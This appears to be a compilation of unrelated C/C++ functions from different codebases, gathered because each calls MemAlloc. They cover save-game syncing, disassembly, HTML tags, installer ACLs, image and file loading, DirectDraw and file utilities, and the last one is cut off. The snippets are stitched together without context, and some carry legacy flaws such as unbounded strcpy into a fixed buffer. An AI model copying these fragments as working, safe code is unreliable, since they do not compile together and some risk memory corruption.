static void syncIncrust(Common::Serializer &s) { int numEntries = 0; backgroundIncrustStruct *pl, *pl1; uint8 dummyByte = 0; uint16 dummyWord = 0; uint32 dummyLong = 0; if (s.isSaving()) { // Figure out the number of entries to save pl = backgroundIncrustHead.next; while (pl) { ++numEntries; pl = pl->next; } } s.syncAsSint16LE(numEntries); pl = s.isSaving() ? backgroundIncrustHead.next : &backgroundIncrustHead; pl1 = &backgroundIncrustHead; for (int i = 0; i < numEntries; ++i) { backgroundIncrustStruct *t = s.isSaving() ? pl : (backgroundIncrustStruct *)mallocAndZero(sizeof(backgroundIncrustStruct)); s.syncAsUint32LE(dummyLong); s.syncAsSint16LE(t->objectIdx); s.syncAsSint16LE(t->type); s.syncAsSint16LE(t->overlayIdx); s.syncAsSint16LE(t->X); s.syncAsSint16LE(t->Y); s.syncAsSint16LE(t->frame); s.syncAsSint16LE(t->scale); s.syncAsSint16LE(t->backgroundIdx); s.syncAsSint16LE(t->scriptNumber); s.syncAsSint16LE(t->scriptOverlayIdx); s.syncAsUint32LE(dummyLong); s.syncAsSint16LE(t->saveWidth); s.syncAsSint16LE(t->saveHeight); s.syncAsSint16LE(t->saveSize); s.syncAsSint16LE(t->savedX); s.syncAsSint16LE(t->savedY); s.syncBytes((byte *)t->name, 13); s.syncAsByte(dummyByte); s.syncAsSint16LE(t->spriteId); s.syncAsUint16LE(dummyWord); if (t->saveSize) { if (s.isLoading()) t->ptr = (byte *)MemAlloc(t->saveSize); s.syncBytes(t->ptr, t->saveSize); } if (s.isSaving()) pl = pl->next; else { t->next = NULL; pl->next = t; t->prev = pl1->prev; pl1->prev = t; pl = t; } } }
return_val DumpASMDataFromSection( unsigned_8 *contents, dis_sec_offset start, dis_sec_offset end, label_entry *lab_entry, ref_entry *reference_entry, section_ptr section ) { dis_sec_offset curr_pos; size_t curr_size; size_t tmp_size; size_t size; label_entry l_entry; ref_entry r_entry; char *buffer; l_entry = *lab_entry; r_entry = *reference_entry; size = end - start; if( size < sizeof( unsigned_32 ) ) size = sizeof( unsigned_32 ); buffer = MemAlloc( size + 1 ); if( buffer == NULL ) { PrintErrorMsg( RC_OUT_OF_MEMORY, WHERE_PRINT_SECTION ); return( RC_OUT_OF_MEMORY ); } for( curr_pos = start; curr_pos < end; curr_pos += curr_size ) { /* dump labels */ l_entry = dumpAsmLabel( l_entry, section, curr_pos, end, contents, buffer ); curr_size = end - curr_pos; if( l_entry != NULL ) { tmp_size = l_entry->offset - curr_pos; if( curr_size > tmp_size ) { curr_size = tmp_size; } } /* Skip over pair relocs */ for( ; r_entry != NULL; r_entry = r_entry->next ) { if( r_entry->type != ORL_RELOC_TYPE_PAIR && r_entry->offset >= curr_pos ) { break; } } if( r_entry != NULL && r_entry->offset < (curr_pos + curr_size) ) { if( r_entry->offset == curr_pos ) { BufferConcat( " " ); curr_size = HandleRefInData( r_entry, contents + curr_pos, true ); BufferConcatNL(); BufferPrint(); continue; } else { tmp_size = r_entry->offset - curr_pos; if( curr_size > tmp_size ) { curr_size = tmp_size; } } } memcpy( buffer, contents + curr_pos, curr_size ); buffer[curr_size] = 0; printOut( buffer, curr_pos, curr_size ); } *lab_entry = l_entry; *reference_entry = r_entry; MemFree( buffer ); return( RC_OKAY ); }
void InitTags(void) { struct tag *tp; for(tp = tags; tp->name != null; ++tp) install(tp->name, tp->versions, tp->model, tp->parser, tp->chkattrs); tag_html = lookup("html"); tag_head = lookup("head"); tag_body = lookup("body"); tag_frameset = lookup("frameset"); tag_frame = lookup("frame"); tag_noframes = lookup("noframes"); tag_meta = lookup("meta"); tag_title = lookup("title"); tag_base = lookup("base"); tag_hr = lookup("hr"); tag_pre = lookup("pre"); tag_listing = lookup("listing"); tag_h1 = lookup("h1"); tag_h2 = lookup("h2"); tag_p = lookup("p"); tag_ul = lookup("ul"); tag_ol = lookup("ol"); tag_dir = lookup("dir"); tag_li = lookup("li"); tag_dl = lookup("dl"); tag_dt = lookup("dt"); tag_dd = lookup("dd"); tag_td = lookup("td"); tag_th = lookup("th"); tag_tr = lookup("tr"); tag_col = lookup("col"); tag_br = lookup("br"); tag_a = lookup("a"); tag_link = lookup("link"); tag_b = lookup("b"); tag_i = lookup("i"); tag_strong = lookup("strong"); tag_em = lookup("em"); tag_big = lookup("big"); tag_small = lookup("small"); tag_param = lookup("param"); tag_option = lookup("option"); tag_optgroup = lookup("optgroup"); tag_img = lookup("img"); tag_map = lookup("map"); tag_area = lookup("area"); tag_nobr = lookup("nobr"); tag_wbr = lookup("wbr"); tag_font = lookup("font"); tag_spacer = lookup("spacer"); tag_layer = lookup("layer"); tag_center = lookup("center"); tag_style = lookup("style"); tag_script = lookup("script"); tag_noscript = lookup("noscript"); tag_table = lookup("table"); tag_caption = lookup("caption"); tag_form = lookup("form"); tag_textarea = lookup("textarea"); tag_blockquote = lookup("blockquote"); tag_applet = lookup("applet"); tag_object = lookup("object"); tag_div = lookup("div"); tag_span = lookup("span"); /* create dummy entry for all xml tags */ xml_tags = (Dict *)MemAlloc(sizeof(*xml_tags)); xml_tags->name = null; xml_tags->versions = VERS_ALL; xml_tags->model = CM_BLOCK; xml_tags->parser = null; xml_tags->chkattrs = null; }
/******************************************************************** AllocateAcl - allocate an acl and populate it with this user and permission information user could be user or domain\user ********************************************************************/ HRESULT AllocateAcl(SCA_SMBP* pssp, PACL* ppACL) { HRESULT hr = S_OK; EXPLICIT_ACCESSW* pEA = NULL; DWORD cEA = 0; DWORD dwCounter = 0; PSID psid = NULL; LPCWSTR wzUser = NULL; DWORD nPermissions = 0; DWORD nErrorReturn = 0; ACCESS_MODE accessMode = NOT_USED_ACCESS; cEA = pssp->dwUserPermissionCount + 1; if (cEA >= MAXSIZE_T / sizeof(EXPLICIT_ACCESSW)) { ExitOnFailure1(hr = E_OUTOFMEMORY, "Too many user permissions to allocate: %u", cEA); } pEA = static_cast<EXPLICIT_ACCESSW*>(MemAlloc(cEA * sizeof(EXPLICIT_ACCESSW), TRUE)); ExitOnNull(pEA, hr, E_OUTOFMEMORY, "failed to allocate memory for explicit access structure"); // figure out how big the psid is for (dwCounter = 0; dwCounter < pssp->dwUserPermissionCount; ++dwCounter) { wzUser = pssp->pUserPerms[dwCounter].wzUser; nPermissions = pssp->pUserPerms[dwCounter].nPermissions; accessMode = pssp->pUserPerms[dwCounter].accessMode; // // create the appropriate SID // // figure out the right user to put into the access block if (0 == lstrcmpW(wzUser, L"Everyone")) { hr = AclGetWellKnownSid(WinWorldSid, &psid); } else if (0 == lstrcmpW(wzUser, L"Administrators")) { hr = AclGetWellKnownSid(WinBuiltinAdministratorsSid, &psid); } else if (0 == lstrcmpW(wzUser, L"LocalSystem")) { hr = AclGetWellKnownSid(WinLocalSystemSid, &psid); } else if (0 == lstrcmpW(wzUser, L"LocalService")) { hr = AclGetWellKnownSid(WinLocalServiceSid, &psid); } else if (0 == lstrcmpW(wzUser, L"NetworkService")) { hr = AclGetWellKnownSid(WinNetworkServiceSid, &psid); } else if (0 == lstrcmpW(wzUser, L"AuthenticatedUser")) { hr = AclGetWellKnownSid(WinAuthenticatedUserSid, &psid); } else if (0 == lstrcmpW(wzUser, L"Guests")) { hr = AclGetWellKnownSid(WinBuiltinGuestsSid, &psid); } else if(0 == lstrcmpW(wzUser, L"CREATOR OWNER")) { hr = AclGetWellKnownSid(WinCreatorOwnerSid, &psid); } else { hr = AclGetAccountSid(NULL, wzUser, &psid); } ExitOnFailure1(hr, "failed to get sid for account: %ls", wzUser); // we now have a valid pSid, fill in the EXPLICIT_ACCESS /* Permissions options: (see sca.sdh for defined sdl options) #define GENERIC_READ (0x80000000L) 2147483648 #define GENERIC_WRITE (0x40000000L) 1073741824 #define GENERIC_EXECUTE (0x20000000L) 536870912 #define GENERIC_ALL (0x10000000L) 268435456 */ pEA[dwCounter].grfAccessPermissions = nPermissions; pEA[dwCounter].grfAccessMode = accessMode; pEA[dwCounter].grfInheritance = SUB_CONTAINERS_AND_OBJECTS_INHERIT; #pragma prefast(push) #pragma prefast(disable:25029) ::BuildTrusteeWithSidW(&(pEA[dwCounter].Trustee), psid); #pragma prefast(pop) } // create a new ACL that contains the ACE *ppACL = NULL; #pragma prefast(push) #pragma prefast(disable:25029) nErrorReturn = ::SetEntriesInAclW(dwCounter, pEA, NULL, ppACL); #pragma prefast(pop) ExitOnFailure(hr = HRESULT_FROM_WIN32(nErrorReturn), "failed to allocate ACL"); LExit: if (psid) { AclFreeSid(psid); } ReleaseMem(pEA); return hr; }
ALERROR CGImageCache::ConvertToChannel (HBITMAP hTransparency, CGChannelStruct **retpTrans) // ConvertToChannel // // Converts an 8-bit grayscale bitmap to a channel format { BITMAP bm; CGChannelStruct *pTrans; HDC hDC; BYTE bmibuffer[sizeof(BITMAPINFO) + 256 * sizeof(RGBQUAD)]; BITMAPINFO *bmi = (BITMAPINFO *)bmibuffer; RGBQUAD *pColors = (RGBQUAD *)&bmi[1]; // Get some basic info about the bitmap GetObject(hTransparency, sizeof(BITMAP), &bm); // Allocate a buffer pTrans = (CGChannelStruct *)MemAlloc(sizeof(CGChannelStruct) + bm.bmWidthBytes * bm.bmHeight); if (pTrans == NULL) return ERR_MEMORY; // Initialize some stuff pTrans->cxWidthBytes = bm.bmWidthBytes; pTrans->cxWidth = bm.bmWidth; pTrans->cyHeight = bm.bmHeight; pTrans->pMap = (BYTE *)&pTrans[1]; // Create a BITMAPINFO structure describing how we want the bits // to be returned to us utlMemSet(bmi, sizeof(BITMAPINFO) + 256 * sizeof(RGBQUAD), 0); bmi->bmiHeader.biSize = sizeof(BITMAPINFO); bmi->bmiHeader.biWidth = bm.bmWidth; bmi->bmiHeader.biHeight = -bm.bmHeight; // negative means top-down bmi->bmiHeader.biPlanes = 1; bmi->bmiHeader.biBitCount = 8; bmi->bmiHeader.biCompression = BI_RGB; hDC = CreateCompatibleDC(NULL); GetDIBits(hDC, hTransparency, 0, bm.bmHeight, pTrans->pMap, bmi, DIB_RGB_COLORS); DeleteDC(hDC); // Color table #if 0 int i; for (i = 0; i < 256; i++) kernelDebugLogMessage("TEST: Color %d = %d,%d,%d", i, pColors[i].rgbRed, pColors[i].rgbGreen, pColors[i].rgbBlue); // Convert from palette indeces to grayscale values for (i = 0; i < pTrans->cxWidthBytes * pTrans->cyHeight; i++) { if ((i % pTrans->cxWidthBytes) == 32) kernelDebugLogMessage("TEST: Color index %d", pTrans->pMap[i]); pTrans->pMap[i] = pColors[pTrans->pMap[i]].rgbBlue; } #endif // Done *retpTrans = pTrans; return NOERROR; }
BOOLEAN ReadInLBEPocketPopups(STR fileName) { HWFILE hFile; UINT32 uiBytesRead; UINT32 uiFSize; CHAR8 * lpcBuffer; XML_Parser parser = XML_ParserCreate(NULL); pocketPopupParseData pData; DebugMsg(TOPIC_JA2, DBG_LEVEL_3, "Loading pocketPopups.xml" ); hFile = FileOpen( fileName, FILE_ACCESS_READ, FALSE ); if ( !hFile ) return( FALSE ); uiFSize = FileGetSize(hFile); lpcBuffer = (CHAR8 *) MemAlloc(uiFSize+1); //Read in block if ( !FileRead( hFile, lpcBuffer, uiFSize, &uiBytesRead ) ) { MemFree(lpcBuffer); return( FALSE ); } lpcBuffer[uiFSize] = 0; //add a null terminator FileClose( hFile ); XML_SetElementHandler(parser, pocketPopupStartElementHandle, pocketPopupEndElementHandle); XML_SetCharacterDataHandler(parser, pocketPopupCharacterDataHandle); memset(&pData,0,sizeof(pData)); XML_SetUserData(parser, &pData); XML_SetUserData(parser, &pData); if(!XML_Parse(parser, lpcBuffer, uiFSize, TRUE)) { CHAR8 errorBuf[511]; sprintf(errorBuf, "XML Parser Error in Pocket.xml: %s at line %d", XML_ErrorString(XML_GetErrorCode(parser)), XML_GetCurrentLineNumber(parser)); LiveMessage(errorBuf); MemFree(lpcBuffer); return FALSE; } /* // dummy popup popupDef* popup = new popupDef(); popup->addOption(new std::wstring(L"Option one"),NULL,NULL); popup->addOption(new std::wstring(L"Option two"),NULL,NULL); popup->addOption(new std::wstring(L"Option three"),NULL,NULL); LBEPocketPopup[5] = *popup; */ MemFree(lpcBuffer); XML_ParserFree(parser); return( TRUE ); }
/* * NewSurfaceLocal * * Construct a new surface local object. */ LPDDRAWI_DDRAWSURFACE_LCL NewSurfaceLocal( LPDDRAWI_DDRAWSURFACE_LCL this_lcl, LPVOID lpvtbl ) { LPDDRAWI_DDRAWSURFACE_LCL pnew_lcl; DWORD surf_size_lcl; DWORD surf_size; LPDDRAWI_DIRECTDRAW_GBL pdrv; /* * NOTE: This single allocation can allocate space for local surface * structure (DDRAWI_DDRAWSURFACE_LCL) and the additional local surface * structure (DDRAWI_DDRAWSURFACE_MORE). As the local object can be * variable sized this can get pretty complex. The layout of the * various objects in the allocation is as follows: * * +-----------------+---------------+ * | SURFACE_LCL | SURFACE_MORE | * | (variable) | | * +-----------------+---------------+ * <- surf_size_lcl -> * <- surf_size ---------------------> */ if( this_lcl->dwFlags & DDRAWISURF_HASOVERLAYDATA ) { DPF( 4, "OVERLAY DATA SPACE" ); surf_size_lcl = sizeof( DDRAWI_DDRAWSURFACE_LCL ); } else { surf_size_lcl = offsetof( DDRAWI_DDRAWSURFACE_LCL, ddckCKSrcOverlay ); } surf_size = surf_size_lcl + sizeof( DDRAWI_DDRAWSURFACE_MORE ); pnew_lcl = MemAlloc( surf_size ); if( pnew_lcl == NULL ) { return NULL; } pdrv = this_lcl->lpGbl->lpDD; /* * set up local data */ pnew_lcl->lpSurfMore = (LPDDRAWI_DDRAWSURFACE_MORE) (((LPSTR) pnew_lcl) + surf_size_lcl); pnew_lcl->lpGbl = this_lcl->lpGbl; pnew_lcl->lpAttachList = NULL; pnew_lcl->lpAttachListFrom = NULL; pnew_lcl->dwProcessId = GetCurrentProcessId(); pnew_lcl->dwLocalRefCnt = 0; pnew_lcl->dwFlags = this_lcl->dwFlags; pnew_lcl->ddsCaps = this_lcl->ddsCaps; pnew_lcl->lpDDPalette = NULL; pnew_lcl->lpDDClipper = NULL; pnew_lcl->lpSurfMore->lpDDIClipper = NULL; pnew_lcl->dwModeCreatedIn = this_lcl->dwModeCreatedIn; pnew_lcl->dwBackBufferCount = 0; pnew_lcl->ddckCKDestBlt.dwColorSpaceLowValue = 0; pnew_lcl->ddckCKDestBlt.dwColorSpaceHighValue = 0; pnew_lcl->ddckCKSrcBlt.dwColorSpaceLowValue = 0; pnew_lcl->ddckCKSrcBlt.dwColorSpaceHighValue = 0; pnew_lcl->dwReserved1 = this_lcl->dwReserved1; /* * set up overlay specific data */ if( this_lcl->dwFlags & DDRAWISURF_HASOVERLAYDATA ) { pnew_lcl->ddckCKDestOverlay.dwColorSpaceLowValue = 0; pnew_lcl->ddckCKDestOverlay.dwColorSpaceHighValue = 0; pnew_lcl->ddckCKSrcOverlay.dwColorSpaceLowValue = 0; pnew_lcl->ddckCKSrcOverlay.dwColorSpaceHighValue = 0; pnew_lcl->lpSurfaceOverlaying = NULL; pnew_lcl->rcOverlaySrc.top = 0; pnew_lcl->rcOverlaySrc.left = 0; pnew_lcl->rcOverlaySrc.bottom = 0; pnew_lcl->rcOverlaySrc.right = 0; pnew_lcl->rcOverlayDest.top = 0; pnew_lcl->rcOverlayDest.left = 0; pnew_lcl->rcOverlayDest.bottom = 0; pnew_lcl->rcOverlayDest.right = 0; pnew_lcl->dwClrXparent = 0; pnew_lcl->dwAlpha = 0; /* * if this is an overlay, link it in */ if( this_lcl->ddsCaps.dwCaps & DDSCAPS_OVERLAY ) { pnew_lcl->dbnOverlayNode.next = pdrv->dbnOverlayRoot.next; pnew_lcl->dbnOverlayNode.prev = (LPVOID)(&(pdrv->dbnOverlayRoot)); pdrv->dbnOverlayRoot.next = (LPVOID)(&(pnew_lcl->dbnOverlayNode)); pnew_lcl->dbnOverlayNode.next->prev = (LPVOID)(&(pnew_lcl->dbnOverlayNode)); // pnew_lcl->dbnOverlayNode.object = pnew_int; } } /* * turn off flags that aren't valid */ pnew_lcl->dwFlags &= ~(DDRAWISURF_ATTACHED | DDRAWISURF_ATTACHED_FROM | DDRAWISURF_HASCKEYDESTOVERLAY | DDRAWISURF_HASCKEYDESTBLT | DDRAWISURF_HASCKEYSRCOVERLAY | DDRAWISURF_HASCKEYSRCBLT | DDRAWISURF_SW_CKEYDESTOVERLAY | DDRAWISURF_SW_CKEYDESTBLT | DDRAWISURF_SW_CKEYSRCOVERLAY | DDRAWISURF_SW_CKEYSRCBLT | DDRAWISURF_HW_CKEYDESTOVERLAY | DDRAWISURF_HW_CKEYDESTBLT | DDRAWISURF_HW_CKEYSRCOVERLAY | DDRAWISURF_HW_CKEYSRCBLT | DDRAWISURF_FRONTBUFFER | DDRAWISURF_BACKBUFFER ); /* * Additional local surface data. */ pnew_lcl->lpSurfMore->dwSize = sizeof( DDRAWI_DDRAWSURFACE_MORE ); pnew_lcl->lpSurfMore->lpIUnknowns = NULL; pnew_lcl->lpSurfMore->lpDD_lcl = NULL; pnew_lcl->lpSurfMore->dwMipMapCount = 0UL; return pnew_lcl; } /* NewSurfaceLocal */
int main( int argc, char *argv[] ) { int i; FILE *f; int rxflag; int buff_stdin; int ch; screenHeight = GetConsoleHeight(); screenWidth = GetConsoleWidth(); workBuff = MemAlloc( BUFF_SIZE ); buff_stdin = 1; rxflag = 0; for( ;; ) { ch = GetOpt( &argc, argv, "#cftXp:n:", usageMsg ); if( ch == -1 ) { break; } switch( ch ) { case 'c': clearScreen = 1; break; case 'f': foldLines = 0; break; case 't': buff_stdin = 0; break; case 'n': screenHeight = atoi( OptArg )+1; break; case 'p': promptString = strdup( OptArg ); break; case '#': startLine = atol( OptArg )-1; break; case 'X': rxflag = 1; break; } } argv = ExpandArgv( &argc, argv, rxflag ); lineCount = screenHeight-1; if( argc == 1 ) { if( buff_stdin ) { f = tmpfile(); if( f == NULL ) { exit( 1 ); } setmode( fileno( f ), O_BINARY ); for( ;; ) { i = fread( workBuff, 1, BUFF_SIZE, stdin ); if( fwrite( workBuff, 1, i, f ) != i ) { exit( 1 ); } if( feof( stdin ) ) { break; } } fflush( f ); doMore( "*stdin*", f ); } else { doMore( "*stdin*", stdin ); } } else { for( i=1;i<argc;i++ ) { f = fopen( argv[i],"rb" ); if( f == NULL ) { printf( "Error opening \"%s\"\n", argv[i] ); } else { if( argc > 2 ) { printf( "\n%s:\n", FNameLower( argv[i] ) ); } doMore( argv[i], f ); } } } return( 0 ); }
ALERROR CDataFile::OpenInt (void) // OpenInt // // Continues opening after the file or resource is open { ALERROR error; int i; bool bHeaderModified = false; bool bEntryTableModified = false; // Read the file header HEADERSTRUCT header; if (error = ReadBuffer(0, sizeof(header), &header)) return ERR_FILEOPEN; // If the signature is not right, bail if (header.dwSignature != DATAFILE_SIGNATURE) return ERR_FILEOPEN; // If the version is not right, bail if (header.dwVersion > DATAFILE_VERSION) return ERR_FILEOPEN; // Store header info m_iBlockSize = (int)header.dwBlockSize; m_iBlockCount = (int)header.dwBlockCount; m_iDefaultEntry = (int)header.dwDefaultEntry; // Allocate an entry table of the appropriate size ASSERT(m_pEntryTable == NULL); m_iEntryTableCount = (int)header.dwEntryTableCount; if (header.dwVersion >= 2) { int iEntryTableSize = header.dwEntryTableCount * sizeof(ENTRYSTRUCT); m_pEntryTable = (PENTRYSTRUCT)MemAlloc(iEntryTableSize); if (m_pEntryTable == NULL) return ERR_MEMORY; // Read the entry table if (error = ReadBuffer(header.dwEntryTablePos, iEntryTableSize, m_pEntryTable)) { MemFree(m_pEntryTable); m_pEntryTable = NULL; return ERR_FILEOPEN; } } else { int iEntryTableSize = header.dwEntryTableCount * sizeof(SEntryV1); SEntryV1 *pOldEntryTable = (SEntryV1 *)new char [iEntryTableSize]; if (pOldEntryTable == NULL) return ERR_MEMORY; // Read the old table if (error = ReadBuffer(header.dwEntryTablePos, iEntryTableSize, pOldEntryTable)) { delete pOldEntryTable; return ERR_FILEOPEN; } // Convert to new format m_pEntryTable = (PENTRYSTRUCT)MemAlloc(header.dwEntryTableCount * sizeof(ENTRYSTRUCT)); if (m_pEntryTable == NULL) return ERR_MEMORY; for (i = 0; i < (int)header.dwEntryTableCount; i++) { m_pEntryTable[i].dwBlock = pOldEntryTable[i].dwBlock; m_pEntryTable[i].dwBlockCount = pOldEntryTable[i].dwBlockCount; m_pEntryTable[i].dwSize = pOldEntryTable[i].dwSize; m_pEntryTable[i].dwFlags = pOldEntryTable[i].dwFlags; m_pEntryTable[i].dwVersion = 1; m_pEntryTable[i].dwPrevEntry = (DWORD)INVALID_ENTRY; m_pEntryTable[i].dwLatestEntry = (DWORD)INVALID_ENTRY; } // Done delete pOldEntryTable; // New version header.dwVersion = DATAFILE_VERSION; bHeaderModified = true; bEntryTableModified = true; } // Reset modification flags m_fHeaderModified = (bHeaderModified ? TRUE : FALSE); m_fEntryTableModified = (bEntryTableModified ? TRUE : FALSE); return NOERROR; }
BOOL CALLBACK KnownDllsDialogProc( HWND hdlg, UINT uMessage, WPARAM wParam, LPARAM lParam ) { static HWND hwndDlls; switch (uMessage) { case WM_INITDIALOG: { hwndDlls = GetDlgItem( hdlg, IDC_KNOWN_DLLS ); SetWindowContextHelpId( hwndDlls, IDH_DLLS_OPTIONS ); CenterWindow( GetParent( hdlg ), hwndFrame ); // // set/initialize the image list(s) // HIMAGELIST himlState = ImageList_Create( 16, 16, TRUE, 2, 0 ); ImageList_AddMasked( himlState, LoadBitmap (GetModuleHandle(NULL),MAKEINTRESOURCE(IDB_CHECKSTATES)), RGB (255,0,0) ); ListView_SetImageList( hwndDlls, himlState, LVSIL_STATE ); // // set/initialize the columns // LV_COLUMN lvc = {0}; lvc.mask = LVCF_FMT | LVCF_WIDTH | LVCF_TEXT | LVCF_SUBITEM; lvc.pszText = "DLL Name"; lvc.iSubItem = 0; lvc.cx = 260; lvc.fmt = LVCFMT_LEFT; ListView_InsertColumn( hwndDlls, 0, &lvc ); } break; case WM_REFRESH_LIST: ListView_DeleteAllItems( hwndDlls ); goto refresh_list; case WM_NOTIFY: switch (((LPNMHDR)lParam)->code) { case PSN_KILLACTIVE: SetWindowLong( hdlg, DWL_MSGRESULT, 0 ); break; case PSN_APPLY: SaveOptions(); SendMessage( GetParent(hdlg), PSM_UNCHANGED, (LPARAM)hdlg, 0 ); SetWindowLong( hdlg, DWL_MSGRESULT, 0 ); break; case NM_CLICK: { DWORD dwpos = GetMessagePos(); LV_HITTESTINFO lvhti = {0}; lvhti.pt.x = LOWORD(dwpos); lvhti.pt.y = HIWORD(dwpos); MapWindowPoints( HWND_DESKTOP, hwndDlls, &lvhti.pt, 1 ); int iItemClicked = ListView_HitTest( hwndDlls, &lvhti ); if (iItemClicked == -1) { // // add a new item // LV_ITEM lvi = {0}; lvi.pszText = ""; lvi.iItem = ListView_GetItemCount( hwndDlls ); lvi.iSubItem = 0; lvi.iImage = 0; lvi.mask = LVIF_TEXT; lvi.state = 0; lvi.stateMask = 0; iItemClicked = ListView_InsertItem( hwndDlls, &lvi ); } ListView_EditLabel( hwndDlls, iItemClicked ); } break; case LVN_ENDLABELEDIT: { LV_DISPINFO *DispInfo = (LV_DISPINFO*)lParam; LPSTR p = ApiMonOptions.KnownDlls; ULONG i = 0; LPSTR nk = (LPSTR) MemAlloc( 2048 ); LPSTR p1 = nk; while( i != (ULONG)DispInfo->item.iItem ) { strcpy( p1, p ); p1 += (strlen(p) + 1); p += (strlen(p) + 1); i += 1; } p += (strlen(p) + 1); if (DispInfo->item.pszText && DispInfo->item.pszText[0]) { strcpy( p1, DispInfo->item.pszText ); p1 += (strlen(DispInfo->item.pszText) + 1); } while( p && *p ) { strcpy( p1, p ); p1 += (strlen(p) + 1); p += (strlen(p) + 1); } *p1 = 0; memcpy( ApiMonOptions.KnownDlls, nk, 2048 ); MemFree( nk ); PostMessage( hdlg, WM_REFRESH_LIST, 0, 0 ); } case PSN_SETACTIVE: refresh_list: { LPSTR p = ApiMonOptions.KnownDlls; LV_ITEM lvi = {0}; int iItem = 0; while( p && *p ) { lvi.pszText = p; lvi.iItem = iItem; iItem += 1; lvi.iSubItem = 0; lvi.iImage = 0; lvi.mask = LVIF_TEXT; lvi.state = 0; lvi.stateMask = 0; ListView_InsertItem( hwndDlls, &lvi ); p += (strlen(p) + 1); } } break; } break; case WM_HELP: { LPHELPINFO hi = (LPHELPINFO)lParam; ProcessHelpRequest( hdlg, hi->iCtrlId ); } break; } return FALSE; }
void main (void) { uMCONFIG M; // Configuration structure int index; // Loop variable LARGE_INTEGER C1, C2, D;// Profiling variables double seconds, Freq; // Profiler output variables int * A [9000]; // Memory to allocate int const N = sizeof A / sizeof(int); // Count of elements in array hLIST List; // Linked list FILE * fp; // Output file int Int = 4, * Item;// Integer data used to test list /* Initialize timer */ QueryPerformanceFrequency (&D); Freq = 1.0 / (double)D.QuadPart; /* Initialize memory; allocate just enough for maximum allocation */ M.PoolSize = N * (sizeof(int) + 0x14); MemInit (&M); fp = fopen ("Log.txt","wt"); fprintf (fp, "%d ints:\n", N); /* Test speed of MemAlloc */ QueryPerformanceCounter (&C1); for (index = 0; index < N; ++index) A [index] = (int *) MemAlloc (sizeof(int), 0); QueryPerformanceCounter (&C2); seconds = (double)(C2.QuadPart - C1.QuadPart) * Freq; fprintf (fp, "With MemAlloc: %f seconds, %.8f p/int\n", seconds, seconds / N); /* Test speed of MemFree */ QueryPerformanceCounter (&C1); for (index = 0; index < N; ++index) MemFree (A [index]); QueryPerformanceCounter (&C2); seconds = (double)(C2.QuadPart - C1.QuadPart) * Freq; fprintf (fp, "With MemFree: %f seconds, %.8f p/int\n", seconds, seconds / N); /* Test speed of malloc */ QueryPerformanceCounter (&C1); for (index = 0; index < N; ++index) A [index] = (int *) malloc (sizeof(int)); QueryPerformanceCounter (&C2); seconds = (double)(C2.QuadPart - C1.QuadPart) * Freq; fprintf (fp, "With malloc: %f seconds, %.8f p/int\n", seconds, seconds / N); /* Test speed of free */ QueryPerformanceCounter (&C1); for (index = 0; index < N; ++index) free (A [index]); QueryPerformanceCounter (&C2); seconds = (double)(C2.QuadPart - C1.QuadPart) * Freq; fprintf (fp, "With free: %f seconds, %.8f p/int\n", seconds, seconds / N); /* Test speed of ListCreate */ QueryPerformanceCounter (&C1); List = ListCreate (5, sizeof(int), L_DYNAMIC); QueryPerformanceCounter (&C2); seconds = (double)(C2.QuadPart - C1.QuadPart) * Freq; fprintf (fp, "With ListCreate: %f seconds\n", seconds); fprintf (fp, "500 items:\n"); /* Test speed of ListToFront */ QueryPerformanceCounter (&C1); for (index = 0; index < 500; ++index) ListToFront (List, &index); QueryPerformanceCounter (&C2); seconds = (double)(C2.QuadPart - C1.QuadPart) * Freq; fprintf (fp, "With ListToFront: %f seconds, %.8f p/int\n", seconds, seconds / 500); for (index = 0; index < 500; ++index) I [index] = 0; /* Test speed of ListExecute */ QueryPerformanceCounter (&C1); Int = 9; ListExecute (List, PrintMult, &Int); QueryPerformanceCounter (&C2); for (index = 0; index < 500; ++index) { if (index % 5 == 0) printf ("\n"); printf ("%dx%d:%d\t", index, Int, I [index]); } seconds = (double)(C2.QuadPart - C1.QuadPart) * Freq; fprintf (fp, "With ListExecute: %f seconds, %.8f p/int\n", seconds, seconds / 500); /* Test speed of ListSearch */ QueryPerformanceCounter (&C1); Int = 205; Item = ListSearch (List, Equal, &Int); QueryPerformanceCounter (&C2); printf ("Datum found: %d\n", *(int*) Item); seconds = (double)(C2.QuadPart - C1.QuadPart) * Freq; fprintf (fp, "With ListSearch: %f seconds, %.8f p/int\n", seconds, seconds / 500); /* Test speed of ListDestroy */ QueryPerformanceCounter (&C1); ListDestroy (List); QueryPerformanceCounter (&C2); seconds = (double)(C2.QuadPart - C1.QuadPart) * Freq; fprintf (fp, "With ListDestroy: %f seconds, %.8f p/int\n", seconds, seconds / 500); fclose (fp); /* Terminate memory; output results to file */ MemTerm ("Mem.txt"); }
static SCA_WEBDIR* NewWebDir() { SCA_WEBDIR* pswd = static_cast<SCA_WEBDIR*>(MemAlloc(sizeof(SCA_WEBDIR), TRUE)); Assert(pswd); return pswd; }
/* DoRM - perform RM on a specified file */ void DoRM( const char *f ) { iolist *fhead = NULL; iolist *ftail = NULL; iolist *tmp; iolist *dhead = NULL; iolist *dtail = NULL; char *bo; char fpath[_MAX_PATH]; char tmppath[_MAX_PATH]; int i; int j; int k; int l; size_t len; DIR *d; struct dirent *nd; char wild[_MAX_PATH]; char *err; void *crx = NULL; /* get file path prefix */ fpath[0] = 0; for( i = ( int ) strlen( f ); i >= 0; i-- ) { if( f[i] == ':' || f[i] == '\\' || f[i] == '/' ) { fpath[i + 1] = 0; for( j = i; j >= 0; j-- ) fpath[j] = f[j]; i = -1; } } d = OpenDirAll( f, wild ); if( d == NULL ) { PrintALineThenDrop( "File (%s) not found.", f ); if( !fflag ) { error_occured = 1; } return; } if( rxflag ) { err = FileMatchInit( &crx, wild ); if( err != NULL ) Die( "\"%s\": %s\n", err, wild ); } k = ( int ) strlen( fpath ); while( ( nd = readdir( d ) ) != NULL ) { FNameLower( nd->d_name ); if( rxflag ) { if( !FileMatch( crx, nd->d_name ) ) continue; } else { if( !FileMatchNoRx( nd->d_name, wild ) ) continue; } /* set up file name, then try to delete it */ l = ( int ) strlen( nd->d_name ); bo = tmppath; for( i = 0; i < k; i++ ) *bo++ = fpath[i]; for( i = 0; i < l; i++ ) *bo++ = nd->d_name[i]; *bo = 0; if( nd->d_attr & _A_SUBDIR ) { /* process a directory */ if( !IsDotOrDotDot( nd->d_name ) ) { if( rflag ) { /* build directory list */ len = strlen( tmppath ); tmp = MemAlloc( sizeof( iolist ) + len ); if( dtail == NULL ) dhead = tmp; else dtail->next = tmp; dtail = tmp; memcpy( tmp->name, tmppath, len + 1 ); } else { PrintALineThenDrop( "%s is a directory, use -r", tmppath 